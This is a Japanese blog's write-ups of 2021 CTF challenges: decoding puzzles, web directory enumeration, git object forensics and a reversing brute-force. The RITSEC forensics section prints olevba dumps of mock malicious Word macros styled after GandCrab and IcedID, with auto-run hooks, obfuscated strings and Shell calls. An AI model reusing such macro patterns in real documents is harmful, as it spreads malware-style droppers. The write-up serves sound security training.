PlaidCTF 2021 Writeup

この大会は2021/4/17 6:00(JST)~2021/4/19 6:00(JST)に開催されました。
今回もチームで参戦。結果は1点で541チーム中355位でした。
参加表明問題しか解いていませんが、自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc Originals 1)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

PCTF{time_to_consume_some_CONTENT}

Incognito 2.0 Writeup

この大会は2021/4/17 3:30(JST)~2021/4/18 21:30(JST)に開催されました。
今回もチームで参戦。結果は52点で319チーム中152位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Easy)

2進数をデコードする。

enc = '00101110 00101110 00100000 00101101 00101110 00101101 00101110 00100000 00101101 00100000 00101110 00101110 00101101 00101110 00100000 00100000 00101110 00101110 00101110 00100000 00101110 00101110 00101110 00101110 00101101 00100000 00101101 00101110 00100000 00101110 00101110 00100000 00101101 00100000 00101101 00101110 00101101 00101101 00100000 00101110 00101110 00101101 00101101 00101110 00101101 00100000 00101101 00101110 00101101 00101110 00100000 00101110 00101110 00101110 00101110 00100000 00101110 00101110 00101110 00101101 00101101 00100000 00101101 00101110 00101101 00101110 00100000 00101101 00101110 00101101 00100000 00101110 00100000 00101101 00101110 00101110 00100000 00101110 00101110 00101101 00101101 00101110 00101101 00100000 00101110 00101110 00101101 00101101 00101101 00100000 00101110 00101110 00101110 00101101 00101101 00100000 00101110 00101101 00101101 00101101 00101101 00100000 00101110 00101110 00101110 00101110 00101101 00100000 00101110 00101110 00101110 00101101 00101101 00100000 00101110 00101110 00101101 00101101 00101101 00100000 00101110 00101110 00101110 00101101 00101101 00100000 00101110 00101110 00101110 00101101 00101101 00100000'
enc = enc.split(' ')

msg = ''
for c in enc:
    msg += chr(int(c, 2))
print msg

デコードの結果、モールス信号になった。

.. -.-. - ..-.  ... ....- -. .. - -.-- ..--.- -.-. .... ...-- -.-. -.- . -.. ..--.- ..--- ...-- .---- ....- ...-- ..--- ...-- ...--

https://www.dcode.fr/morse-codeでデコードする。

ICTFS4NITY_CH3CKED_23143233
ICTF{S4NITY_CH3CKED_23143233}

Sponsor (Easy)

Discordに入るが、フラグは見つからない。ボットが10個ほどある中にICTFというボットがあった。"=flag"と入力したら、フラグが表示された。

ICTF{Fl4g_F0und_0n_Di5c0rd}

Not Common (Easy)

https://incognito-web1.herokuapp.com/robots.txtを見てもフラグはない。ツールで何かないか探してみる。

$ python3 dirsearch.py -u https://incognito-web1.herokuapp.com/ -e php,txt,html,png,gif,jpg

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php, txt, html, png, gif, jpg | HTTP method: get | Threads: 10 | Wordlist size: 7889

Error Log: /mnt/hgfs/Shared/dirsearch/logs/errors-21-04-17_08-40-54.log

Target: https://incognito-web1.herokuapp.com/

[08:40:55] Starting: 
        :
        :
[08:43:18] 200 -   37B  - /home.html
[08:43:25] 200 -   37B  - /index.php
[08:43:25] 200 -   37B  - /index.php/login/
[08:44:16] 200 -   30B  - /robots.txt
[08:44:19] 200 -   22B  - /security.txt
        :
        :
Task Completed

$ curl https://incognito-web1.herokuapp.com/security.txt
ICTF{F0R_Bug_Hunt3rs}
ICTF{F0R_Bug_Hunt3rs}

HackPack CTF 2021 Writeup

この大会は2021/4/17 0:00(JST)~2021/4/18 0:00(JST)に開催されました。
今回もチームで参戦。結果は2339点で477チーム中5位でした。
自分で解けた問題をWriteupとして書いておきます。

A sense of community... (sanity)

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

flag{w3Lc0mE_2_tH3_p4ck}

Aurora (misc)

jpgファイルが添付されている。EXIFを見てみる。

$ exiftool Aurora.jpg 
ExifTool Version Number         : 10.80
File Name                       : Aurora.jpg
Directory                       : .
File Size                       : 80 kB
File Modification Date/Time     : 2021:04:17 00:12:28+09:00
File Access Date/Time           : 2021:04:17 00:14:32+09:00
File Inode Change Date/Time     : 2021:04:17 00:12:28+09:00
File Permissions                : rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.02
Resolution Unit                 : None
X Resolution                    : 100
Y Resolution                    : 100
Comment                         : flag{6e4ut1fuL_Aur0r4}
Quality                         : 60%
DCT Encode Version              : 100
APP14 Flags 0                   : [14], Encoded with Blend=1 downsampling
APP14 Flags 1                   : (none)
Color Transform                 : YCbCr
Image Width                     : 960
Image Height                    : 641
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 960x641
Megapixels                      : 0.615

Commentにフラグがセットされていた。

flag{6e4ut1fuL_Aur0r4}

Euler's Identity (misc)

減点なしのHintを見たら、以下のように書いてある。

For example, given MD5(This), SHA1(is), and SHA2(SHA1(MD5(future))), the key is flag{Thisisfuture}.

それぞれhttps://crackstation.net/でクラックする。

d8d540ae49aadd151b96feb4e0ff124f → e^
abb07ca45c9e7719e66e766b958d943f561b8de6 → ipi=
c037c03ee627047a85df540c42d59c6b6028841704a7c706feff584a997fd2a3 → Not found.

等式になっているので、最後のハッシュは"-1"のハッシュと推測する。

>>> from hashlib import *
>>> sha256(sha1(md5('-1').hexdigest()).hexdigest()).hexdigest()
'c037c03ee627047a85df540c42d59c6b6028841704a7c706feff584a997fd2a3'

最後のハッシュの元の文字列は"-1"で合っている。

flag{e^ipi=-1}

Regex World! (misc)

正規表現から交わる文字は両方使えるようわかるものから解いていく。

YOUG
OTTH
ISRE
GEX!
flag{YOUGOTTHISREGEX!}

Function Pointer Fun (reverse)

Ghidraでデコンパイルする。

int main(int argc,char **argv)

{
  long lVar1;
  bool bVar2;
  anon_subr_int *paVar3;
  long in_FS_OFFSET;
  _Bool changed;
  int i;
  anon_subr_int_varargs *fp;
  char seed [5];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  seed._0_4_ = 0;
  seed[4] = '\0';
  printf("Hello, Mr. Eusk. \nPassword > ");
  __isoc99_scanf(&DAT_00102026,seed);
  bVar2 = false;
  i = 0;
  while (i < 4) {
    if (seed[i] != '\0') {
      bVar2 = true;
    }
    i = i + 1;
  }
  if (bVar2) {
    paVar3 = pickFunction(seed);
    (*paVar3)();
  }
  else {
    puts("You gotta give an input!");
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return (int)(uint)!bVar2;
}

anon_subr_int * pickFunction(char *seed)

{
  byte bVar1;
  code *pcVar2;
  long in_FS_OFFSET;
  char resOne;
  char resTwo;
  char res;
  anon_subr_int_varargs *funcPtr [5];
  
  bVar1 = (seed[1] | *seed) & (seed[3] | seed[2]);
  if (bVar1 == 0x49) {
    pcVar2 = funTwo;
  }
  else {
    if (((char)bVar1 < '\x01') || ('\x1f' < (char)bVar1)) {
      if (((char)bVar1 < ' ') || ('?' < (char)bVar1)) {
        if (((char)bVar1 < '@') || ('_' < (char)bVar1)) {
          pcVar2 = funFive;
        }
        else {
          pcVar2 = funFour;
        }
      }
      else {
        pcVar2 = funThree;
      }
    }
    else {
      pcVar2 = funOne;
    }
  }
  if (*(long *)(in_FS_OFFSET + 0x28) != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return pcVar2;
}

int funTwo(void)

{
  long lVar1;
  FILE *__stream;
  long in_FS_OFFSET;
  FILE *fp;
  char flag [25];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag","r");
  fgets(flag,0x19,__stream);
  puts(flag);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 1;
}

このコードから以下のことがわかる。

・seedは4バイト
・bVar1が0x49の場合、フラグが表示される。

総当たりで条件を満たすものを探す。

import itertools
import string

chars = string.letters + string.digits

for c in itertools.product(chars, repeat=4):
    seed = ''.join(c)
    bVar1 = (ord(seed[1]) | ord(seed[0])) & (ord(seed[3]) | ord(seed[2]))
    if bVar1 == 0x49:
        print seed
        break

この結果、以下の文字列は条件を満たすことが分かる。

ahAH
$ nc ctf2021.hackpack.club 10998
Hello, Mr. Eusk. 
Password > ahAH
flag{c1RcU1t5_R_fUn!2!}
flag{c1RcU1t5_R_fUn!2!}

BF means best friend, right? (reverse)

Brainf*ck言語。https://www.dcode.fr/brainfuck-languageで実行

Console
Memory:
[0] = b (98)
[1] = r (114)
[2] = a (97)
[3] = i (105)
[4] = n (110)
[5] = - (45)
[6] = b (98)
[7] = l (108)
[8] = a (97)
[9] = s (115)
[10] = t (116)
flag{brain-blast}

RITSEC CTF 2021 Writeup

この大会は2021/4/10 1:00(JST)~2021/4/12 13:00(JST)に開催されました。
今回もチームで参戦。結果は5491点で720チーム中29位でした。
自分で解けた問題をWriteupとして書いておきます。

Join the Discord (101)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

RS{D1SC0RD_RU1ES_G0_BRR}

Sessions (WEB)

HTMLソースを見ると、以下のコメントがある。

<!--#remove comment later: login iroh:iroh-->

このユーザでログインしてみる。クッキーのsessiontokenに以下が設定されている。

UlN7MG5seV9PbmVfczNzc2lvbl90b2szbn0=
$ echo UlN7MG5seV9PbmVfczNzc2lvbl90b2szbn0= | base64 -d
RS{0nly_One_s3ssion_tok3n}
RS{0nly_One_s3ssion_tok3n}

1597 (Forensics)

gitの問題。

$ git clone http://git.ritsec.club:7000/1597.git
Cloning into '1597'...
$ cd 1597
$ ls -la
合計 9
drwxrwxrwx 1 root root    0  410 06:56 .
drwxrwxrwx 1 root root 4096  410 06:56 ..
drwxrwxrwx 1 root root 4096  410 06:56 .git
-rwxrwxrwx 1 root root   44  410 06:56 README.md
-rwxrwxrwx 1 root root    1  410 06:56 flag.txt
$ cd .git
$ xxd -g 1 index
00000000: 44 49 52 43 00 00 00 02 00 00 00 02 60 70 cd 85  DIRC........`p..
00000010: 00 00 00 00 60 70 cd 85 00 00 00 00 00 00 00 2d  ....`p.........-
00000020: 00 00 e4 b3 00 00 81 a4 00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 2c 0f f8 4f 37 f6 46 7e 28 35 97 83 e4  ...,..O7.F~(5...
00000040: 6e 5e 3a 34 ed 92 5c 5f 00 09 52 45 41 44 4d 45  n^:4..\_..README
00000050: 2e 6d 64 00 60 70 cd 85 00 00 00 00 60 70 cd 85  .md.`p......`p..
00000060: 00 00 00 00 00 00 00 2d 00 00 e4 b4 00 00 81 a4  .......-........
00000070: 00 00 00 00 00 00 00 00 00 00 00 01 8b 13 78 91  ..............x.
00000080: 79 1f e9 69 27 ad 78 e6 4b 0a ad 7b de d0 8b dc  y..i'.x.K..{....
00000090: 00 08 66 6c 61 67 2e 74 78 74 00 00 54 52 45 45  ..flag.txt..TREE
000000a0: 00 00 00 19 00 32 20 30 0a 28 48 85 31 c9 da b0  .....2 0.(H.1...
000000b0: 7d 79 c4 f7 76 d5 a6 12 ee 07 ee 39 19 5a 54 30  }y..v......9.ZT0
000000c0: ec 07 aa 00 0c 30 b3 a5 de 1d 6d b9 db 40 58 d0  .....0....m..@X.
000000d0: 10                                               .

$ python -c 'import zlib; print zlib.decompress(open("objects/8b/137891791fe96927ad78e64b0aad7bded08bdc").read())'
blob 1

$ cat config
[core]
	repositoryformatversion = 0
	filemode = false
	bare = false
	logallrefupdates = true
	symlinks = false
	ignorecase = true
[remote "origin"]
	url = http://git.ritsec.club:7000/1597.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master
$ cat refs/heads/master
dcc402050827e92dbcf2578e24f2cba76f34229c
$ python -c 'import zlib; print zlib.decompress(open("objects/dc/c402050827e92dbcf2578e24f2cba76f34229c").read())'
commit 217tree 28488531c9dab07d79c4f776d5a612ee07ee3919
parent bb7917f300dd7ba1e5b45055dc802a8e4e3f19e5
author knif3 <knif3@mail.rit.edu> 1617947340 +0000
committer knif3 <knif3@mail.rit.edu> 1617947340 +0000

Updated the flag

$ python -c 'import zlib; print zlib.decompress(open("objects/28/488531c9dab07d79c4f776d5a612ee07ee3919").read())' | xxd -g 1
00000000: 74 72 65 65 20 37 33 00 31 30 30 36 34 34 20 52  tree 73.100644 R
00000010: 45 41 44 4d 45 2e 6d 64 00 0f f8 4f 37 f6 46 7e  EADME.md...O7.F~
00000020: 28 35 97 83 e4 6e 5e 3a 34 ed 92 5c 5f 31 30 30  (5...n^:4..\_100
00000030: 36 34 34 20 66 6c 61 67 2e 74 78 74 00 8b 13 78  644 flag.txt...x
00000040: 91 79 1f e9 69 27 ad 78 e6 4b 0a ad 7b de d0 8b  .y..i'.x.K..{...
00000050: dc 0a                                            ..

$ python -c 'import zlib; print zlib.decompress(open("objects/bb/7917f300dd7ba1e5b45055dc802a8e4e3f19e5").read())'
commit 167tree 7f609205d0a20bed8248564bbf85b5f3663286ae
author knif3 <knif3@mail.rit.edu> 1617947340 +0000
committer knif3 <knif3@mail.rit.edu> 1617947340 +0000

Initial Commit

$ python -c 'import zlib; print zlib.decompress(open("objects/7f/609205d0a20bed8248564bbf85b5f3663286ae").read())' | xxd -g 1
00000000: 74 72 65 65 20 37 33 00 31 30 30 36 34 34 20 52  tree 73.100644 R
00000010: 45 41 44 4d 45 2e 6d 64 00 0f f8 4f 37 f6 46 7e  EADME.md...O7.F~
00000020: 28 35 97 83 e4 6e 5e 3a 34 ed 92 5c 5f 31 30 30  (5...n^:4..\_100
00000030: 36 34 34 20 66 6c 61 67 2e 74 78 74 00 a2 4c ab  644 flag.txt..L.
00000040: 45 00 3b 97 e5 f5 fd 3d 91 03 2f 72 e1 f5 26 56  E.;....=../r..&V
00000050: b3 0a                                            ..

$ python -c 'import zlib; print zlib.decompress(open("objects/a2/4cab45003b97e5f5fd3d91032f72e1f52656b3").read())'
blob 35Your princess is in another castle

README.mdの方を追ってみる。

$ python -c 'import zlib; print zlib.decompress(open("objects/0f/f84f37f6467e28359783e46e5e3a34ed925c5f").read())'
blob 44# 1597

A git challenge series? Sounds fun.

まだわからない。確認していないオブジェクトを確認していく。

$ python -c 'import zlib; print zlib.decompress(open("objects/0e/62cb7761a37139d11cefab222ac9a22c191231").read())' | xxd -g 1
00000000: 74 72 65 65 20 37 33 00 31 30 30 36 34 34 20 52  tree 73.100644 R
00000010: 45 41 44 4d 45 2e 6d 64 00 99 dd fa 85 06 ca 48  EADME.md.......H
00000020: 89 29 77 c7 62 39 76 a1 05 46 9a 04 27 31 30 30  .)w.b9v..F..'100
00000030: 36 34 34 20 66 6c 61 67 2e 74 78 74 00 01 3a 6d  644 flag.txt..:m
00000040: dd d6 00 1f 94 01 06 1e 56 11 8f e4 17 01 5d 1b  ........V.....].
00000050: 4c 0a                                            L.

$ python -c 'import zlib; print zlib.decompress(open("objects/01/3a6dddd6001f9401061e56118fe417015d1b4c").read())'
blob 45RS{git_is_just_a_tre3_with_lots_of_branches}
RS{git_is_just_a_tre3_with_lots_of_branches}

BIRDTHIEF: FYSA (Forensics)

$ foremost BIRDTHIEF_FYSA.pdf 
Processing: BIRDTHIEF_FYSA.pdf
|*|

JPGがたくさん抽出され、その中にフラグが書いてある画像があった。
f:id:satou-y:20210421222551j:plain

RS{Make_sure_t0_read_the_briefing}

Blob (Forensics)

再びgitの問題。

$ git clone http://git.ritsec.club:7000/blob.git
Cloning into 'blob'...
$ cd blob
$ ls -la
合計 9
drwxrwxrwx 1 root root    0  410 10:09 .
drwxrwxrwx 1 root root 4096  410 10:09 ..
drwxrwxrwx 1 root root 4096  410 10:09 .git
-rwxrwxrwx 1 root root   59  410 10:09 README.md
-rwxrwxrwx 1 root root   43  410 10:09 flag.txt
$ cd .git
$ xxd -g -1 index
00000000: 4449 5243 0000 0002 0000 0002 6070 fab5  DIRC........`p..
00000010: 0000 0000 6070 fab5 0000 0000 0000 002d  ....`p.........-
00000020: 0000 e545 0000 81a4 0000 0000 0000 0000  ...E............
00000030: 0000 003b e597 cc86 a088 1ab3 028d ba09  ...;............
00000040: 0f88 c1cb d33a d9a4 0009 5245 4144 4d45  .....:....README
00000050: 2e6d 6400 6070 fab5 0000 0000 6070 fab5  .md.`p......`p..
00000060: 0000 0000 0000 002d 0000 e546 0000 81a4  .......-...F....
00000070: 0000 0000 0000 0000 0000 002b df57 6e13  ...........+.Wn.
00000080: e1ca 1c43 10d3 260f 63be f4db 4121 8ba0  ...C..&.c...A!..
00000090: 0008 666c 6167 2e74 7874 0000 5452 4545  ..flag.txt..TREE
000000a0: 0000 0019 0032 2030 0ab9 d675 3be8 0df8  .....2 0...u;...
000000b0: 63c3 656a a638 9418 d321 3c96 f291 5e34  c.ej.8...!<...^4
000000c0: ceb3 5218 c172 93f7 1e1c 0cfd 9651 8e96  ..R..r.......Q..
000000d0: 07                                       .

$ python -c 'import zlib; print zlib.decompress(open("objects/df/576e13e1ca1c4310d3260f63bef4db41218ba0").read())'
blob 43these aren't the droids you're looking for

$ cat config
[core]
	repositoryformatversion = 0
	filemode = false
	bare = false
	logallrefupdates = true
	symlinks = false
	ignorecase = true
[remote "origin"]
	url = http://git.ritsec.club:7000/blob.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master
$ cat refs/heads/master
a69cb6306e8b75b6762d6aa1b0279244cacf3f3b
$ python -c 'import zlib; print zlib.decompress(open("objects/a6/9cb6306e8b75b6762d6aa1b0279244cacf3f3b").read())'
commit 167tree b9d6753be80df863c3656aa6389418d3213c96f2
author knif3 <knif3@mail.rit.edu> 1617947351 +0000
committer knif3 <knif3@mail.rit.edu> 1617947351 +0000

Initial Commit

$ python -c 'import zlib; print zlib.decompress(open("objects/b9/d6753be80df863c3656aa6389418d3213c96f2").read())' | xxd -g 1
00000000: 74 72 65 65 20 37 33 00 31 30 30 36 34 34 20 52  tree 73.100644 R
00000010: 45 41 44 4d 45 2e 6d 64 00 e5 97 cc 86 a0 88 1a  EADME.md........
00000020: b3 02 8d ba 09 0f 88 c1 cb d3 3a d9 a4 31 30 30  ..........:..100
00000030: 36 34 34 20 66 6c 61 67 2e 74 78 74 00 df 57 6e  644 flag.txt..Wn
00000040: 13 e1 ca 1c 43 10 d3 26 0f 63 be f4 db 41 21 8b  ....C..&.c...A!.
00000050: a0 0a                                            ..

README.mdの方を追ってみる。

$ python -c 'import zlib; print zlib.decompress(open("objects/e5/97cc86a0881ab3028dba090f88c1cbd33ad9a4").read())'
blob 59# Blob

That pesky flag should be around here somewhere...

まだわからない。確認していないオブジェクトを確認していく。

$ python -c 'import zlib; print zlib.decompress(open("objects/d0/644363aa853a17c9672cefff587580a43cf45e").read())'
blob 27RS{refs_can_b3_secret_too}
RS{refs_can_b3_secret_too}

PleaseClickAlltheThings 1: BegineersRITSEC.html (Forensics)

メールの添付ファイルからHTMLをエクスポートする。中にはscriptの記載があり、URLエンコードの長い文字列があるので、デコードする。

<html>
<body>

<!DOCTYPE html>
<html>
<head>
    <title>Its just another friendly file from you're local CTF</title>
    <style type="text/css">
        html {
            height: 100%;
            width: 100%;
        }

        #feature {
            width: 980px;
            margin: 95px auto 0 auto;
            overflow: auto;
        }

        #content {
            font-family: "Segoe UI";
            font-weight: normal;
            font-size: 22px;
            color: #ffffff;
            float: left;
            width: 460px;
            margin-top: 68px;
            margin-left: 0px;
            vertical-align: middle;
        }

            #content h1 {
                font-family: "Segoe UI Light";
                color: #ffffff;
                font-weight: normal;
                font-size: 60px;
                line-height: 48pt;
                width: 980px;
            }

        p a, p a:visited, p a:active, p a:hover {
            color: #ffffff;
        }

        #content a.button {
            background: #0DBCF2;
            border: 1px solid #FFFFFF;
            color: #FFFFFF;
            display: inline-block;
            font-family: Segoe UI;
            font-size: 24px;
            line-height: 46px;
            margin-top: 10px;
            padding: 0 15px 3px;
            text-decoration: none;
        }

            #content a.button img {
                float: right;
                padding: 10px 0 0 15px;
            }

            #content a.button:hover {
                background: #1C75BC;
            }

/* loading dots */

.loading:after {
  content: '.';
  animation: dots 1s steps(5, end) infinite}

@keyframes dots {
  0%, 20% {
    color: rgba(0,0,0,0);
    text-shadow:
      .25em 0 0 rgba(0,0,0,0),
      .5em 0 0 rgba(0,0,0,0);}
  40% {
    color: white;
    text-shadow:
      .25em 0 0 rgba(0,0,0,0),
      .5em 0 0 rgba(0,0,0,0);}
  60% {
    text-shadow:
      .25em 0 0 white,
      .5em 0 0 rgba(0,0,0,0);}
  80%, 100% {
    text-shadow:
      .25em 0 0 white,
      .5em 0 0 white;}}
    </style>
</head>
<body bgcolor="#00abec">
    <div id="feature">
            <div id="content">
                <h1 id="unavailable" class="loading">Try Harder</h1>
                <p id="tryAgain" class="loading">The Defender That Could</p>
        </div>
    </div>
</body>


  <head> 
<flag="UklUU0VDe0gzcjMhdCEkfQ==">
</body>
  </html>
$ echo UklUU0VDe0gzcjMhdCEkfQ== | base64 -d
RITSEC{H3r3!t!$}
RITSEC{H3r3!t!$}

PleaseClickAlltheThings 2: GandCrab_Ursnif (Forensics)

メールの添付ファイルからGandCrab_Ursnif_RITSEC.docmをエクスポートする。

$ olevba GandCrab_Ursnif_RITSEC.docm 
olevba 0.56.1 on Python 2.7.17 - http://decalage.info/python/oletools
===============================================================================
FILE: GandCrab_Ursnif_RITSEC.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module4.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/Module4'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Function TheDarkSide()
On Error Resume Next
CTF = Array(ElonMusk, StarWars, HelloWorld, Interaction.Shell(CleanString(Chewbacca.TextBox1), 43 - 43), Mars)
   Select Case Research
            Case 235003991
            CompetitorSkillz = That_of_a_Storm_Troopers_Aim_Research_Pending
            Flag = RITSEC{M@CROS}
            PendingResearch = Oct(Date + CStr(TimeStamp + Log(241371097) - PewPew / Hex(13775121)))
      End Select
End Function
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub autoopen()
TheDarkSide
End Sub
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |autoopen            |Runs when the Word document is opened        |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

マクロコードの中にフラグが含まれていた。

RITSEC{M@CROS}

Please Click All the Things 3: IceID (Forensics)

メールの添付ファイルからIceID_Bokbot_RITSEC.docm をエクスポートする。

$ olevba IceID_Bokbot_RITSEC.docm 
olevba 0.56.1 on Python 2.7.17 - http://decalage.info/python/oletools
===============================================================================
FILE: IceID_Bokbot_RITSEC.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub AutoOpen()
Function aRXKz()
aRXKz = frm.txt.Text
End Function
Public Function aTwLcg(alRUYI)
aTwLcg = Replace(alRUYI, a7sVN, "")
End Function
Sub AutoOpen()
main
End Sub
Public Sub a8hv3(ai295)
End Sub
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Public Const aHVWt As String = "p_:_\_j_v_a_q_b_j_f_\_f_l_f_g_r_z_3_2_\_z_f_u_g_n__r_k_r_"
Public Const aqv6tf As String = "EVGFRP{E0GG1ATZ@YP0Q3}"

Public Const a7sVN As String = "_"
Public Const asXlUN As Integer = -954 + 967
Public Function aENoBO(aHu95, avuEG8)
FileNumber = FreeFile
Open aHu95 For Output As #FileNumber
Print #FileNumber, Spc(-413 + 456)
Print #FileNumber, avuEG8
Print #FileNumber, Spc(-413 + 456)
Close #FileNumber
End Function
Sub aUoaN(adDgz, at09Aq)
FileCopy adDgz, at09Aq
End Sub
Function anPr56(aCl8i)
anPr56 = Len(aCl8i)
End Function
Function a79yA(aO0h5k)
a79yA = aO0h5k + 12324 / 474
End Function
Function aHScDO(aoza8) As String
Dim alc6yS As Long
Dim a9uRX As Integer
Dim agyvb As Integer
For alc6yS = 1 To anPr56(aoza8)
agyvb = 0
aFxdHY = VBA.Mid$(aoza8, alc6yS, 1)
a9uRX = Asc(aFxdHY)
If (a9uRX > 64 And a9uRX < 91) Or (a9uRX > 96 And a9uRX < 123) Then
agyvb = asXlUN
a9uRX = a9uRX - agyvb
If a9uRX < 97 And a9uRX > 83 Then
a9uRX = a79yA(a9uRX)
ElseIf a9uRX < 65 Then
a9uRX = a79yA(a9uRX)
End If
End If
Mid$(aoza8, alc6yS, 1) = VBA.Chr$(a9uRX)
Next
aHScDO = aoza8
End Function
-------------------------------------------------------------------------------
VBA MACRO Module2.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub main()
auIPjp = aHScDO(aTwLcg(aHVWt))
aZuadn = aHScDO(aTwLcg(aqv6tf))
a9ANR = aHScDO(aTwLcg(aE0yGK))
aUoaN auIPjp, aZuadn
aENoBO a9ANR, aHScDO(aRXKz)
Shell aZuadn & " " & a9ANR
End Sub
-------------------------------------------------------------------------------
VBA MACRO UserForm1.frm 
in file: word/vbaProject.bin - OLE stream: u'VBA/UserForm1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub TextBox1_Change()

End Sub
-------------------------------------------------------------------------------
VBA FORM STRING IN 'word/vbaProject.bin' - OLE stream: u'UserForm1/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
<!QBPGLCR ugzy>
-------------------------------------------------------------------------------
VBA FORM Variable "TextBox1" IN 'word/vbaProject.bin' - OLE stream: u'UserForm1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
<!QBPGLCR ugzy>
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|AutoExec  |TextBox1_Change     |Runs when the file is opened and ActiveX     |
|          |                    |objects trigger events                       |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Open                |May open a file                              |
|Suspicious|Output              |May write to a file (if combined with Open)  |
|Suspicious|Print #             |May write to a file (if combined with Open)  |
|Suspicious|FileCopy            |May copy a file                              |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

整形する。

Public Const a7sVN As String = "_"
Public Const asXlUN As Integer = -954 + 967

Sub AutoOpen()
  Function aRXKz()
    aRXKz = frm.txt.Text
  End Function

  Public Function aTwLcg(alRUYI)
    aTwLcg = Replace(alRUYI, a7sVN, "")
  End Function

  Sub AutoOpen()
    main
  End Sub

  Public Sub a8hv3(ai295)
  End Sub
End Sub

Public Function aENoBO(aHu95, avuEG8)
  FileNumber = FreeFile
  Open aHu95 For Output As #FileNumber
  Print #FileNumber, Spc(-413 + 456)
  Print #FileNumber, avuEG8
  Print #FileNumber, Spc(-413 + 456)
  Close #FileNumber
End Function

Sub aUoaN(adDgz, at09Aq)
  FileCopy adDgz, at09Aq
End Sub

Function anPr56(aCl8i)
  anPr56 = Len(aCl8i)
End Function

Function a79yA(aO0h5k)
  a79yA = aO0h5k + 12324 / 474
End Function

Function aHScDO(aoza8) As String
  Dim alc6yS As Long
  Dim a9uRX As Integer
  Dim agyvb As Integer
  For alc6yS = 1 To anPr56(aoza8)
    agyvb = 0
    aFxdHY = VBA.Mid$(aoza8, alc6yS, 1)
    a9uRX = Asc(aFxdHY)
    If (a9uRX > 64 And a9uRX < 91) Or (a9uRX > 96 And a9uRX < 123) Then
      agyvb = asXlUN
      a9uRX = a9uRX - agyvb
      If a9uRX < 97 And a9uRX > 83 Then
        a9uRX = a79yA(a9uRX)
      ElseIf a9uRX < 65 Then
        a9uRX = a79yA(a9uRX)
      End If
    End If
    Mid$(aoza8, alc6yS, 1) = VBA.Chr$(a9uRX)
  Next
  aHScDO = aoza8
End Function

フラグに関係しそうな箇所を書き出す。

■aZuadn = aHScDO(aTwLcg(aqv6tf))
・aqv6tf = "EVGFRP{E0GG1ATZ@YP0Q3}"
・aTwLcg(aqv6tf) = "EVGFRP{E0GG1ATZ@YP0Q3}"

aHScDOはrot13を行っている。EVGFRP{E0GG1ATZ@YP0Q3}をrot13すると、フラグになる。

